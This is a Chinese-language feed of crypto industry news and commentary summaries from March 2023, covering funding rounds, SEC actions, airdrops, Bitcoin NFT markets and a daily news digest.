    去中心化自治组织 tomi 完成 4000 万美元融资，DWF Labs 领投
    去中心化自治组织 tomi 完成 4000 万美元融资，DWF Labs 领投 旨在建立替代互联网网络的去中心化自治组织 (DAO) tomi 已筹集到 4000 万美元，由数字资产做市商 DWF Labs 领投，Ticker Capital、Piha Equities、日本加密巨鲸和社区领袖 Hirokado Kohji 以及其他私人投资者参投。tomiNET 是一种由 DAO 管理、无监控的万维网替代方案。这笔资金将用于吸引出版商和进一步发展网络。tomi 利用 DAO 投票治理模型来促进言论自由和获取未经审查的信息。 内容来源  ( 2 min )
    【英文】Delphi Digital：加密监管的重点应是垂直整合的中心化参与者
    Chainfeeds 导读： Delphi Digital 发布政策文件系列文章，首篇内容与 LeXpunK 社区探讨了一种新的基于公共、无需许可的区块链网络的基础监管框架，旨在监管加密生态系统垂直整合的中心化参与者。 文章来源： https://members.delphidigital.io/reports/policy-paper-series-part-1-reframing-how-we-look-at-a-crypto-legislative-solution/#premise 文章作者： S. Brennan 观点： S. Brennan：一个理想的监管体系应该起到：提高监管的清晰度、降低公众风险、鼓励公平竞争、刺激创新、保持这些网络的独特利益的作用。该框架赞成以披露为基础的模式，以类似反托拉斯的政策为基础，高度重视监管具有系统重要性的、垂直整合的、中心化的、主导加密生态系统的行为者。【原文为英文】 内容来源 S. Brennan：加密行业具有系统重要性的垂直整合加密企业（Vertically-integrated Crypto Enterprises，VICE）包括：拥有 / 运营主要的加密基础设施；拥有 / 运营主要的消费者应用程序或硬件；为密码系统开发或维护提供主要资金；提供主要的托管加密资产平台、服务或资产支持的代币；规划 / 开发 / 维护主要加密协议；执行主要做市或其他主要二级市场角色；在密码系统中拥有 / 运营大部分共识生产方式。【原文为英文】 内容来源  ( 314 min )
    Optimism 身份层 AttestationStation 解读：去中心化身份系统的展望
    Chainfeeds 导读： AttestationStation 是一个部署在 Optimism 上的声誉智能合约，实现了去中心化、多信源、模块化的链上关系图谱。区块律动作者 Eloise 介绍了 AttestationStation 的愿景、实现形式、生态发展和前景，他认为基于链上声誉的空投将成为未来的空投趋势，从行业整体来看，诸如 AttestationStation 这类的无需信任的身份系统也将推进加密行业向长期主义和有机增长进化。 文章来源： https://www.theblockbeats.info/news/35775 文章作者： LeftOfCenter 观点： LeftOfCenter：AttestationStation 是一个部署在 Optimism 上的无需允许的声誉智能合约，它允许用户对任意链上地址生成一条 attestation，一个 attestation 可以是对一个特定的地址打一个「信任分数」，可以是提供任何「定性」或定量的声明，多条 attestation 构成了链上地址的社交关系图谱。 内容来源 LeftOfCenter：AttestationStation 的目标是为了打造一个强大的声誉系统，这将成为链上去财阀政治和最大化反应人类公共利益的关键。正如基于 token 的治理系统（一币一票）反映了 token 持有者的偏好一样，基于声誉的治理系统则代表了广大公民个体（一人一票）的声音。 内容来源 LeftOfCenter：短期来看，AttestationStation 可作为一个身份原语解决加密行业中目前最大的困扰 —— 大规模的女巫攻击。长远来看，当 AttestationStation 中的数据源积累到足够多，可形成一个可衡量链上用户的身份数据层，构建多种抗女巫攻击的应用，比如，链上信用评分 / 非足额抵押（under collateralized）借贷应用。 内容来源 LeftOfCenter：身份预言机 Clique 基于该协议开发了零知识证明身份验证应用；Flipsidecrypto 发起基于该协议的链上分数；AttestationStation 将会和 Gitcoin Passport、nxyz 等团队合作一起打造基于这个声誉生态系统；Optimism 官方推出的自定义图像 NFT 项目也基于该协议开发。目前 AttestationStation 上已经产生 54 万证明，由 513 名用户提供，单个地址活跃度较高。 内容来源
    【英文长推】新项目前瞻｜Optimistic Rollups 跨链协议 Vea
    Chainfeeds 导读： Vea 是一种专为 Optimistic Rollups 设计的消息桥接协议，由 Kleros 团队构建，目前还未发布代码。Vea 官方撰文介绍了该跨链协议的实现方式。 文章来源： https://twitter.com/vea_eth/status/1638239866445262848 文章作者： Vea 观点： Vea：Vea 是一个信任最小化的 Optimistic 验证桥梁，具有被称为验证者的绑定参与者，运行一个轻客户端来履行预言机、挑战者和中继者的角色。与使用链下路由网络将每个桥接合约相互连接的其他实现不同，每个 Vea 桥由一对逻辑合约组成（每个连接一对一）。在最坏的情况下，Vea 只会回退到本地桥，没有损失资金的风险。【原文为英文】 内容来源 Vea：Vea 采用一种混合策略：假设只有 N 个诚实的参与者中的 1 个，在 L1 上对批量消息进行乐观验证（与 rollup 欺诈证明的信任模型相同），并通过标准的 L2 到 L1 桥回退本地验证。【原文为英文】 内容来源  ( 2 min )
    【长推】比特币 NFT 市场 Gamma 解析：PSBT 机制、优缺点与整体市场
    Chainfeeds 导读： 比特币 NFT 研究员 xiyu 发布 Ordinals NFT 市场 Gamma 项目分析，介绍了其采用的部分签名交易（PSBT）机制特点，梳理了交易流程，并分析了 Gamma 的优缺点及当前比特币 NFT 市场的发展情况。 文章来源： https://twitter.com/ohxiyu/status/1637970972648062976 文章作者： xiyu 观点： xiyu：PSBT：部分签名交易（PSBT）定义了用来传递比特币交易的一种精确格式。这种格式可以携带一笔交易的元数据，让签名者更容易签名和验证这笔交易。这个标准也定义了签名合并和交易终局化的流程，所以多方可以并行地签名同一笔交易，然后将相应的 PSBT 合并起来、形成一笔完整签名的交易。 内容来源 xiyu：Gamma 优点：无需信任，不必担心平台会不会卷走我们的私钥，相比在平台生成私钥的方式，安全性提高了很多。约等于 Metamask+Opensea 的体验，对于 NFT 这种低频率交易来说，交易体验上目前没有什么问题了。缺点：手续费 1.5%，虽然不高，但是 Openordex 手续费 0，开局就把市场卷死了。 内容来源 xiyu：Ordinals 生态：目前 Ordinals 生态中，从铸造到钱包再到交易，虽然没有以太坊网络那么成熟，但是也差不多接近了。目前缺少的还是造富效应，这里的原因与 NFT 市场整体低迷有关，还需要给 Ordinals 一些时间慢慢进化。 内容来源 xiyu：Magic Eden 也推出了交易市场，新的交易市场竞争开始了，原有的交易所如果不赶紧改变，马上交易量就会转移。PSBT 就是目前比特币 NFT 最好的交易模式，以后可以应用在更多的地方。 内容来源  ( 2 min )
    【英文】Galaxy Digital：链上指标显示比特币已具备看涨基础
    Chainfeeds 导读： 自 3 月 10 日硅谷银行倒闭以来，比特币现货价格上涨了 45% 以上。Galaxy Digital 发布最新比特币市场行情分析，从链上指标、供应数据等方面验证了比特币多头持续看好后续走势，并描述了几个即将到来的催化剂。 文章来源： https://www.galaxy.com/research/insights/bitcoin-data-shows-bullish-foundation/ 文章作者： Alex Thorn 观点： Alex Thorn：与一系列证券（股票和固定收益）、指数和商品相比，比特币是今年表现最好的。比特币与黄金的相关性正在上升，而与股票的相关性降至多年来的最低水平。比特币的波动率延续了多年的下降趋势，尽管高波动率的峰值仍然很常见。【原文为英文】 内容来源 Alex Thorn：期货未平仓合约和永续融资利率也表明反弹是基于现货，而不是建立在纯粹的投机基础上。链上数据表明积累（accumulation）正在持续，所有权日益分散，持有时间也越来越长。某些指标，如 SOPR 和利润百分比表明持有者长期看好。【原文为英文】 内容来源 Alex Thorn：距离比特币第四次减半还有大约 1 年的时间，这通常是牛市的催化剂。与此同时，对即将到来的 Mt. Gox 破产分配的供应过剩担忧目前看来被夸大了。交易所和矿机供应下降，矿机销售似乎已经趋于平稳。【原文为英文】 内容来源  ( 10 min )
    SushiSwap CEO：收到 SEC 传票，欲设立 300 万 USDT 法律辩护基金
    SushiSwap CEO：收到 SEC 传票，欲设立 300 万 USDT 法律辩护基金 SushiSwap 首席执行官 Jared Grey 发起成立法律辩护基金的提案，称 SushiSwap 及其本人都收到了来自美国证券交易委员会（SEC）的传票，但暂时无法公开具体内容。为了应对不断变化的监管政策，Jared Grey 建议设立 300 万 USDT 法律辩护基金，用于支付核心贡献者的咨询、诉讼和其他问题的法律费用。 内容来源  ( 5 min )
    社交投资平台 eToro 以 35 亿美元估值完成 2.5 亿美元融资，SoftBank 参投
    社交投资平台 eToro 以 35 亿美元估值完成 2.5 亿美元融资，SoftBank 参投 据 Techcrunch 报道，社交投资平台 eToro 以 35 亿美元估值融资 2.5 亿美元，该笔融资通过高级投资协议（AIA）获得，投资者包括 ION Group、Social Leverage、SoftBank 和 Spark Capital。eToro 提供传统金融资产和加密资产的投资和跟单交易，其中加密资产交易佣金占其总佣金收入的 19%。 内容来源  ( 45 min )
    Arbitrum：具有 DAO 和社区金库的项目才有资格获得空投
    Arbitrum：具有 DAO 和社区金库的项目才有资格获得空投 Arbitrum 公布 DAO 空投细节，只有 Arbitrum 上具有 DAO 和社区金库的项目才有资格获得空投分发，唯一例外是以太坊核心开发人员和贡献者团体 Protocol Guild。Arbitrum 表示，向 DAO 分发空投不是追溯性赠款，而是一种授权 Arbitrum 上的子社区将治理决策本地化的方式，从而能够在用户之间更广泛地传播治理权力。 内容来源 观点： Arbitrum：获得 Arbitrum 空投的 DAO 社区和相应代币数量列表： https://docs.google.com/spreadsheets/d/e/2PACX-1vSSAzkIIJqw4WGKCF9gXFUkQojTt6weQTExZYmp3YRIR2TUjir9N8nh8xg7gQ2wuPA8mJKL2neL--to/pubhtml 内容来源  ( 2 min )
    Magic Eden 推出比特币 NFT 市场，支持 70 余个比特币 NFT 系列
    Magic Eden 推出比特币 NFT 市场，支持 70 余个比特币 NFT 系列 NFT 市场 Magic Eden 宣布推出比特币 NFT 市场，支持包括 Ordinals、Taproot Wizards、Pepes 等 70 余个比特币 Ordinal NFT 系列。Magic Eden 已集成比特币钱包 Hiro、Xverse 和 UniSat，并将使用部分签名比特币交易 (PSBT) 作为该 NFT 市场的核心交易技术。Magic Eden 表示，由于比特币 NFT 生态系统缺乏安全和无信任的执行解决方案，因此将暂时不引入版税机制，团队正在积极研究链上、无需许可的版税标准的开发。 内容来源  ( 2 min )

  • Open

    去中心化稳定币简史：超额抵押稳定币的问题，算法稳定币的崩溃和全链稳定币的崛起
    去中心化稳定币简史：超额抵押稳定币的问题，算法稳定币的崩溃和全链稳定币的崛起 – 深潮TechFlow 撰写：TapiocaDAO Read the full entry  ( 11 min )
    去中心化稳定币简史：超额抵押稳定币的问题，算法稳定币的崩溃和全链稳定币的崛起
    去中心化稳定币简史：超额抵押稳定币的问题，算法稳定币的崩溃和全链稳定币的崛起 – 深潮TechFlow 撰写：TapiocaDAO Read the full entry  ( 11 min )
    NFT领域的创新：内容创作、时装、SBT、开源IP和去中心化精神
    NFT领域的创新：内容创作、时装、SBT、开源IP和去中心化精神 – 深潮TechFlow 撰写：Origins Research Read the full entry  ( 5 min )
    NFT领域的创新：内容创作、时装、SBT、开源IP和去中心化精神
    NFT领域的创新：内容创作、时装、SBT、开源IP和去中心化精神 – 深潮TechFlow 撰写：Origins Research Read the full entry  ( 5 min )

  • Open

    白宫公开抨击数字资产，称“加密货币几乎没有价值”
    PANews 3月22日消息，据The Block报道，来自白宫的一份新报告抨击了数字资产未能实现其最初的承诺，并增加了消费者和整个美国金融体系的风险。拜登最新向国会提交的年度经济报告对数字资产的好处提出了重大质疑，几乎就在一年前，拜登下令多个联邦机构就这一问题进行研究并发布报告。报告中指出，数字资产被吹捧为知识产权和金融价值的传递工具、更好的支付机制、提高金融普惠性的途径和减少金融中间商的方式，但“到目前为止，加密资产没有带来任何这些好处”。事实上，到目前为止，加密资产似乎并没有提供任何具有基本价值的投资，也没有作为法定货币的有效替代品，也没有改善金融普惠性或提高支付效率。相反，他们的创新主要是为了人为创造稀缺性，以支持加密资产的价格。其中许多资产没有根本价值。这就凸显了监管在保护消费者、投资者和其他金融系统免受加密资产相关恐慌、崩溃和欺诈影响的作用。该报告还对美国央行数字货币（CBDC）的可能性表示怀疑，称CBDC可能会损害信贷可用性，增加银行挤兑的风险。此报告可能标志着对美国政府对数字资产的态度从不了解转变为公开对抗。  ( 4 min )
    美国参议员呼吁监管机构打击虚假加密审计
    PANews 3月22日消息，据CoinDesk报道，两名美国民主党参议员敦促美国审计监督机构对加密货币公司的“虚假审计”采取行动，理由是此类审计是导致近期美国银行系统面临压力的一个因素。美国上市公司会计监督委员会（PCAOB）向包括参议院财政委员会主席Ron Wyden在内的立法者承认了加密货币审计存在的潜在问题。PCAOB主席Erica Williams表示，她担心PCAOB注册审计公司进行“虚假审计”。但不幸的是，PCAOB在监管某些加密货币公司的审计时面临法规限制。本月早些时候，PCAOB的监察长也发出警告称，加密公司的储备报告往往基于不可信的信息，并非真正的审计。  ( 4 min )
    First Republic Bank或将获得美国政府支持
    PANews 3月22日消息，据彭博社报道，知情人士透露，华尔街高管和美国官员正在讨论First Republic Bank获得政府支持的可能性，以推动达成与潜在买家的交易。据悉，政府可能会在剥离First Republic不良资产方面发挥作用。双方讨论的其他措施包括提供责任担保、更灵活地使用资本规则以及放宽股权限制。谈判仍在继续。知情人士表示，各种问题仍未解决，不能保证达成协议。目前尚不清楚政府将如何提供资金支持。  ( 4 min )
    因流动性不足，OKCoin已暂停MiamiCoin和NYCCoin两种城市币交易
    PANews 3月22日消息，据官方消息，加密交易所OKCoin已暂停了MiamiCoin和NYCCoin两种城市币的交易，原因是流动性不足。OKCoin在一篇博客文章中写道：“我们平台上这些城市币的流动性有限，导致了潜在的价格操纵和欺诈风险。虽然这些风险尚未发生，但我们希望在任何问题出现之前采取行动”。一旦低流动性问题得到解决，OKCoin将恢复城市币交易。目前持有者可以将他们的代币继续存放在OKCoin，或者转移至去中心化平台ALEX。据悉，OKCoin是唯一一家提供城市币交易的中心化交易所。  ( 4 min )
    Magic Eden将推出比特币NFT市场，正集成比特币钱包Hiro和Xverse
    PANews 3月22日消息，据CoinDesk报道，NFT市场Magic Eden将推出一个完全经过审计的比特币NFT市场。Magic Eden的交易者将能够在该市场购买铭文或在比特币网络内铸造的NFT。为了帮助交易者上架、购买和出售Ordinal NFT，Magic Eden正在集成比特币钱包Hiro和Xverse。新市场还将提供比特币NFT相关信息，如Ordinal稀有度和铭文编号。此外，Magic Eden正在与Ordinal项目Taproot Wizards、Inscribed Pepes和Bitcoin Bandits合作。  ( 4 min )
    Sushi DAO收到美国SEC传票，CEO提议建立300万美元的法律辩护基金
    PANews 3月22日消息，据CoinDesk报道，Sushi DAO周二透露，美国证券交易委员会（SEC）近期向Sushi DAO和其首席执行官Jared Grey发出了传票。Grey在一篇论坛文章中提议建立一个“Sushi DAO法律辩护基金”，称它将“支付核心贡献者的法律费用”。该提案建议为核心贡献者提供300万美元的USDT。如果最初的300万美元用完，还可以另外提供100万美元的USDT。Grey表示：“我们正在与SEC合作。我们不打算公开评论正在进行的调查或其他法律事务。”根据该提案，新基金将为自去年4月“Sushi 2.0”被批准以来一直活跃的核心贡献者支付律师费和其他费用。  ( 4 min )
    匿名DAO项目tomi完成4000万美元融资，DWF Labs领投
    PANews 3月22日消息，旨在建立替代互联网网络的去中心化自治组织 (DAO) tomi 已筹集到 4000 万美元，由数字资产做市商 DWF Labs 领投，Ticker Capital、Piha Equities、日本加密巨鲸和社区领袖 Hirokado Kohji 以及其他私人投资者参投。tomiNET 是一种由 DAO 管理、无监控的万维网替代方案。这笔资金将用于为网络吸引内容创作者。Tomi 的目标是“为互联网重新开始”，使用其 DAO 治理模型来促进言论自由和获取未经审查的信息。  ( 4 min )
    DAO加速器Seed Club以2500万美元的资金启动其风险投资部门Seed Club Ventures
    PANews 3月21日消息，据Techcrunch报道，以 DAO 为中心的加速器项目 Seed Club 以 2500 万美元的资金启动了其风险投资部门。这笔资金将在未来几年内部署到种子前和种子阶段的项目中，为 DAO 和开放社区建设基础设施、应用程序和工具，支票从 10 万美元到 100 万美元不等。 Seed Club Venture 的联合创始人之一 Anthony Avedissian 表示，自 2021 年第三季度以来，该风险投资部门一直在“悄悄投资”，并支持 Guild、Stability AI、Lens 和 Metalabel 等项目。 它有 63 个成员，包括 Multicoin Capital、Delphi Digital 和 Dragonfly Capital 等加密风险投资公司，以及家族办公室、传统风险投资公司和公司。 但他补充说，大约一半的成员是加密领域的个人。 相关阅读：DAO 加速器SeedClub凭什么获得顶级机构1500万美元的融资？  ( 4 min )
    多资产投资平台eToro以35亿美元的估值融资2.5亿美元
    PANews 3月21日消息，据Techcrunch报道，多资产投资平台 eToro 以 35 亿美元估值融资 2.5 亿美元，该笔融资通过高级投资协议（AIA）获得的，投资者包括 ION Group、Social Leverage、SoftBank 和 Spark Capital。EToro 计划利用其新资本发展业务，并在全球和“主要市场”投资该产品。它还打算扩大其在美国的业务。 上月，多资产投资平台eToro获得在纽约州提供加密服务的许可证。去年报道，多资产投资平台eToro将裁员6%，正式宣布终止SPAC交易并计划私募融资。  ( 4 min )
    链游开发商CCP Games完成A16z领投的4000万美元融资
    PANews 3月21日消息，成立于1997年的游戏开发商 CCP Games 已经筹集了 4000 万美元的资金，用于制作一款以Eve Online宇宙为背景的新的 3A 区块链游戏。Andreessen Horowitz (A16z) 领投，Makers Fund、Bitkraft、Kingsway Capital、Nexon、Hashed 和其他参与者跟投。 CCP 总部位于冰岛首都雷克雅未克，并在伦敦和上海设有工作室。CCP Games 首席执行官 Hilmar Veigar 表示，这笔融资将使 CCP Games 能够利用其研发团队的发现，利用区块链技术全面开发新的 3A 游戏。  ( 4 min )
    Arbitrum公布空投细节：只有具有DAO和社区金库的项目才有资格获得代币分发
    PANews 3月21日消息，Arbitrum 公布 DAO 空投细节，表示空投的核心原则之一是触达 Arbitrum 的子社区，只有 Arbitrum 上具有 DAO 和社区金库的项目才有资格参与此分发，唯一例外是包含以太坊核心开发人员和贡献者的集体 Protocol Guild。需要明确的是，这不是追溯赠款，而是一种授权 Arbitrum 子社区本地化治理决策的方式。 在 Arbitrum 上向 DAO 金库分配代币时考虑的因素包括：部署日期、是多链还是 Arbitrum 原生、交易量和价值、TVL 以及转移到生态系统的原生流动性。持续时间也被考虑在内。DAO 空投不能替代赠款计划。基金会/DAO 将很快开始赠款计划，这将成为 DAO 认为合适的进一步分发代币的可用途径。  ( 4 min )
    PA日报 | Llama.Fi已重定向到DefiLlama.com；Euler正与攻击者进行私下谈判
    今日要闻提示： 1.新加坡金管局计划在今年年中之前公布加密货币和稳定币的磋商反馈 2.Coinbase：ChatGPT不符合集成至该平台安全审查流程中的准确性要求 3.DefiLlama联创：Llama.Fi已重定向到DefiLlama.com 4.外媒：Coinbase曾在硅谷银行破产后向Circle提供30亿美元即时信贷额度 5.以太坊客户端Geth发布v1.11.5版本，以能在4月13日启用上海主网升级 6.OP3N以1亿美元估值完成2800万美元A轮融资，Animoca Brands领投 7.Celsius破产程序中的律师和顾问费用预计将达到1.44亿美元 8.数据：超过10亿美元的以太币永远丢失，占流通供应量的0.5% 监管消息 美国最高法院周二将审理首起加密案件，被告Coinbase拟推动案件走仲裁程序 据CoinDesk报道，美国最高法院将于周二听取有史以来第一起与加密货币相关的案件的辩论，届时Coinbase的律师将试图说服九名法官暂停针对该交易所的两起集体诉讼（Bielski诉Coinbase和Suski诉Coinbase），这两起案件分别指控被告安全措施不当导致个人账户被黑、以及广告涉及误导消费者。 虽然高等法院将于周二审理的案件涉及加密，但它本身并不是加密案件。相反，这个案件是一个相当深奥的程序争论，争论的焦点是诉讼是否可以在联邦法院进行，而Coinbase试图将争议提交仲裁。仲裁是一种庭外解决纠纷的方法，在这种方法中，胜算往往不公平地不利于消费者。虽然最终的决定不会为加密货币面临的最重要问题树立任何先例，但它可能对加密货币领域的新兴诉讼格局产生重大影响，它还将对越来越多地成为集体诉讼目标的其他加密公司产生广泛的影响。 新加坡金管局计划在今年年中之前公布加密货币和稳定币的磋商反馈 新加坡金融管理局( MAS) 周一表示，其目标是在今年年中之前公布加密货币和稳定币的磋商反馈。 MAS于去年10月发布了咨询文件，该文件寻求对拟议监管措施的回应，以保护消费者免受加密交易风险并支持稳定币的发展。反馈咨询期已于12月21日结束。MAS 收到了广大受访者的大量反馈。MAS 目前正在审查收到的反馈，并打算在 2023 年中期公布对咨询反馈的回应。 NFT Immutable将与Polygon Labs合作创建Immutable zkEVM，并公布两项IMX效用升级 据美通社报道，NFT二层扩展解决方案Immutable X开发公司Immutable宣布与Polygon Labs建立战略合作伙伴关系，以加速Web3游戏的开发。Immutable将使用Polygon的零知识技术构建新的EVM兼容的zk-rollup扩容解决方案Immutable zkEVM，为游戏开发者提供额外选择，但其表示该解决方案不会取代其基于Starkware的解决方案Immutable X。 此外，ImmutableX在官方推特上公布两项IMX效用升级：平台费用的20%必须以IMX支付；IMX将被用作Immutable zkEVM的核心Gas货币，成为原生网络代币。 Origin Protocol考虑在加入NFT版税竞争后增加OGN质押奖励 NFT平台Origin Protocol近日通过了在2023年6月1日之前将本地交易市场Origin Story的交易费用降至0%的提案（此前为1.25%），并正对“增加OGN质押的质押奖励”提案进行投票。这两项提案可能会重新平衡其代币经济学，因为它试图在零费用版税战争中竞争，同时又不排斥OGN代币的质押者，这些质押者依赖于平台现在大幅削减的费用收入。 根据CoinDesk的说法，此举使Origin Story与OpenSea和Blur直接竞争，这两个NFT市场目前正在发动零费用战争以吸引数字收藏品交易商。Origin意图降低自己的费用以“在这个关键时刻获得市场份额”。补贴提案写道，由于费用冻结，“我们将在短期内减少本应奖励给OGN利益相关者的平台收入”。 据悉，“增加OGN质押的质押奖励”的提案旨在为3月8日开始的OGN质押第3季提供补贴的ETH和/或OGN，以提高OGN质押计划的吸引力。目标是增加有效的APY和抵押的OGN总量（目前为5600万枚）。目前提案支持率达100%，投票将于3月22日截止。 韩国歌手权志龙明日将在OpenSea发售NFT系列“Archive of PEACEMINUSONE” 据OpenSea官方推特，韩国流行乐歌手权志龙将在OpenSea平台发售其基于BNB Chain的NFT系列“Archive of PEACEMINUSONE”。该NFT系列是权志龙的原画的拼图，代表了PEACEMINUSONE (PMO, 权志龙创建的品牌)的身份，并融合了权志龙生活和个人发展的私密细节。每个持有者都将获得：1.能够订购印有拼图的商品；2.实物证书；3.访问由PEACEMINUSONE创建的拼图游戏。一些幸运的持有者还有可能获得：演唱会门票、周边商品、带有权志龙亲笔签名和涂鸦的实物证书。 本周的铸造是OpenSea三次drop中的第一次，但它们在价格、稀缺性和优势方面各不相同。Drop详情：1.3月21日，共计13,444枚NFT，铸造价格为88美元；2.4月22日，共计1,888枚NFT，铸造价格为288美元；3.4月29日，654枚NFT，铸造价格为488美元。 不过根据OpenSea页面更新，该系列首次公开铸造开启具体时间为北京时间3月22日11:00，铸造价格为0.27 BNB。 元宇宙 Coinbase：ChatGPT不符合集成至该平台安全审查流程中的准确性要求 Coinbase发文表示，ChatGPT显示出快速评估智能合约风险的能力，但不符合集成到Coinbase安全审查流程中的准确性要求。Coinbase比较了 ChatGPT和人工安全审查之间的20个智能合约风险评分，ChatGPT 12次产生与人工审核相同的结果。但在8次失误中，有5次是ChatGPT错误地将高风险资产标记为低风险。 Coinbase总结道，虽然ChatGPT没有达到准确度标准，但它确实显示出足够的潜力。Coinbase将继续进一步试验新兴工具。在自动化或智能流程能够显示与其现有流程相同程度的准确性之前，这些工具将仅用作支持工具，而不是主要工具。 项目动态 Coinbase将Arbitrum（ARB）列入上币路线图 Coinbase Assets发推表示，已将Arbitrum（ARB）列入上币路线图。 此前消息，Arbitrum将于3月23日向其社区成员空投代码为ARB的治理代币。 Coinbase停止支持Signature Bank的数字支付平台Signet 据路透社报道，加密交易所Coinbase Global周一表示，在美国监管机构控制Signature Bank一周多后，它已停止支持Signature Bank的数字支付平台Signet。 该交易所表示，它正在寻找新的技术提供商，或者希望更清楚地了解Signet的结果，依赖Signet的Coinbase用户将无法在传统银行营业时间以外进行交易。据悉，Signet允许实时加密货币到法定货币交易。 DefiLlama联创：Llama.Fi已重定向到DefiLlama.com DefiLlama创始人之一0xngmi发推表示：“所有工作将在DefiLlama.com上进行，Llama.Fi已重定向到DefiLlama.com。” 此前今日早些时候消息，DefiLlama官方推特表示，目前无计划发行LLAMA代币，任何空投都将与社区讨论。 Starknet基金会任命五个委员会，包括负责规划STRK供应的拨备委员会 据官方博客，Starknet基金会宣布任命五个委员会，其中拨备委员会负责规划、监督和执行Starknet生态系统代币STRK的供应，STRK将作为参与Starknet共识机制的质押代币、网络的治理代币和支付网络交易费用的Gas代币；早期采用者拨款委员会致力于通过向在Starknet上构建链上应用的创新团队提供资助来促进Starknet生态系统的发展。 另外，开发者合作委员会将通过培养和监督新的战略开发者合作伙伴关系来引入Starknet生态系统；治理委员会的任务是在Starknet生态系统的持续去中心化中发挥关键作用，该委员会负责研究、规划和执行Starknet治理的初始阶段，已经启动了Starknet治理的第一阶段；另外，生态系统准入委员会负责授权新的开发人员和社区成员并将其整合到Starknet生态系统中。 外媒：Coinbase曾在硅谷银行破产后向Circle提供30亿美元即时信贷额度 据《财富》杂志援引知情人士报道，Coinbase曾在硅谷银行破产后向Circle提供了约30亿美元的即时信贷额度，以保证USDC储备的全部流动性，并确保稳定币可以在硅谷银行破产后的周一早上兑换成美元。Coinbase原计划披露这一信贷额度，但随后危机很快解除。Circle拒绝对此事置评，但也并未否认。 FTX新管理层正起诉其巴哈马实体清算人 据The Block报道，FTX正在起诉其巴哈马实体的清算人，FTX的新管理层希望美国特拉华州破产法院作出宣告性判决，称FTX Digital Markets 对任何FTX债务人的财产“没有所有权”，并声称FTX Digital Markets为欺诈客户的“幌子”。 对抗诉讼中的原告包括FTX.US、Alameda Research和West Realm Shires（由前FTX 负责人Sam Bankman-Fried成立的控股公司）。他们将FTX Digital Markets及其联合临时清算人Brian Simms、Kevin Cambridge和Peter Greaves列为被告。根据诉讼，FTX Digital Markets声称自己是“FTX.com财产的建设性所有者”，并表示所有权纠纷应在巴哈马群岛解决。FTX债务人不同意该观点。 Euler正与攻击者进行私下谈判，攻击者称“无意保留不属于我们的东西” 据Cointelegraph报道，借贷协议Euler Finance现在已经开始与攻击者进行私下谈判。3月20日，在攻击者向Euler的一个朝鲜地址发送资金几天后，攻击者在给Euler的链上消息中声称，他们现在希望与Euler“达成协议”。 攻击者写道：“我们想让所有受影响的人都轻松些，不打算保留不属于我们的东西。建立安全通信，让我们达成协议吧。”几个小时后，Euler在链上回复称：“收到消息。让我们通过Euler Deployer地址和你的一个EOA，通过电子邮件contact@euler.foundation或您选择的任何其他渠道的签名消息，在blockscan上私下讨论。请回复你选择哪一个。” 此前3月13日消息，借贷协议Euler Finance遭到攻击，损失已达1.97亿美元。 以太坊客户端Geth发布v1.11.5版本，以能在4月13日启用上海主网升级 Go Ethereum发布以太坊客户端Geth v1.11.5版本（Erszbat），Geth v1.11.5将在UTC时间4月12日22:27:35（北京时间4月13日06:27:35）启用上海主网升级。 此前3月16日消息，以太坊主网将于4月12日进行上海（Shapella）升级。 Animoca Brands联创：加密货币正成为银行业危机中的“安全网” 据福布斯报道，Animoca Brands联合创始人Yat Siu认为，随着传统金融世界受到瑞士信贷动荡和一系列美国银行倒闭的冲击，波动较大的加密货币是一种相对安全的投资。Yat Siu周一在香港Web3投资峰会上通过视频连线表示：“如果你看看最近硅谷银行的整个发展情况，这显然令人震惊，而瑞信被瑞银收购……实际上，加密货币的情况完全不同，它实际上正在成为银行业危机中的安全网”。Siu说，“安全网”原来是比特币和以太坊，而不是稳定币，因为稳定币声称与法定货币挂钩，所以被认为是安全的。 Yat Siu在对福布斯的书面回应中表示：“有鉴于此（近日的美国银行倒闭事件），加密货币，特别是比特币和以太币，成为了有吸引力的保值替代方式，而且没有存在那些特定的传统银行风险。就在银行业危机凸显之际，这些加密货币取得了显著进展。这不是巧合。我认为，我们现在看到的是普通资金逃往一些加密货币。” 此外，Siu表示，尽管Animoca并未受到银行业危机的“直接影响”，但其投资组合中的380多家公司中的一些公司“会受到影响”。 Zilliqa将于4月25日在主网启动首个EVM完整兼容版本 据官方博客，Layer1区块链Zilliqa宣布将于4月25日在主网启动首个EVM完整兼容版本。用户将能够使用MetaMask等钱包传输本机ZIL，并使用Truffle和Hardhat等工具部署Solidity智能合约。 Coinbase CLO再次呼吁美SEC澄清质押服务不是证券，并在执法前与公众接触 Coinbase首席法务官Paul Grewal在推特上表示：“今天，Coinbase向我们在2022年7月写的SEC规则制定请愿书提交了评论信。我们解释了为什么核心质押服务不是证券发行，并要SEC澄清核心质押服务不是证券这一事实。” Grewal称核心质押服务未能通过Howey测试的每一个分支，并重申了支持这一论点的几个论据，包括质押服务不构成金钱投资、质押服务不符合Howey的“普通企业”分支、质押服务不符合Howey的“合理的利润预期”要素、以及质押服务不会根据“他人的努力”支付奖励。 Grewal表示：“这不是SEC第一次不得不实时应对快速发展的技术。SEC可以采取多种途径而不是强制执行，包括明确声明规则3a-4版本中的语言意味着质押服务不涉及证券发行。股权证明是区块链技术的一项重要发展，世界不会等待美国弄清楚它要做什么。如果美国不发挥领导作用，行业就会转移到能发挥作用的地方——即使那些地方缺乏美国市场标准。SEC在尚未完成必要的工作时就开始执法。它没有(1)确定证券法可以解决的问题、(2)让公众参与、(3)征求专家意见、(4)描述其行动的经济影响或(5)解释好处。现在做这件事还为时不晚。但SEC需要与公众接触，并使用其监管工具为行业提供清晰度。我们随时准备提供帮助。” Celsius破产程序中的律师和顾问费用预计将达到1.44亿美元 据Cointelegraph报道，加密贷款机构 Celsius Network 在其破产程序中的律师和顾问费用预计将达到 1.44 亿美元，引发加密社区成员的回应。软件开发商 Cam Crews 编制的数据显示，其中汇总了破产的加密货币贷方需要支付的报告费用和预计费用。根据数据，迄今为止已向法院报告提交了近 1.02 亿美元。开发商还指出，缺少了几个月，并估计最终还需要支付和归档的费用约为 4200 万美元。 这条推文得到了加密社区各个成员的回应，一些人甚至将 Celsius 的情况与当前的硅谷银行 (SVB) 问题进行了比较，一些人建议债权人自己创办一家律师事务所。 矿业消息 美国法官批准Core Scientific向债权人PPM转让2000万美元的设备 据CoinDesk报道，美国破产法官批准比特币矿企Core Scientific与其债权人Priority Power Management（PPM）的和解协议，Core Scientific将向PPM转让价值超过2000万美元的电气设备，涉及得克萨斯州西部的两个设施，这两个设施本累计可为Core Scientific的资产组合带来1 GW的电力容量。 据悉，PPM从2021年夏天开始被聘为Core 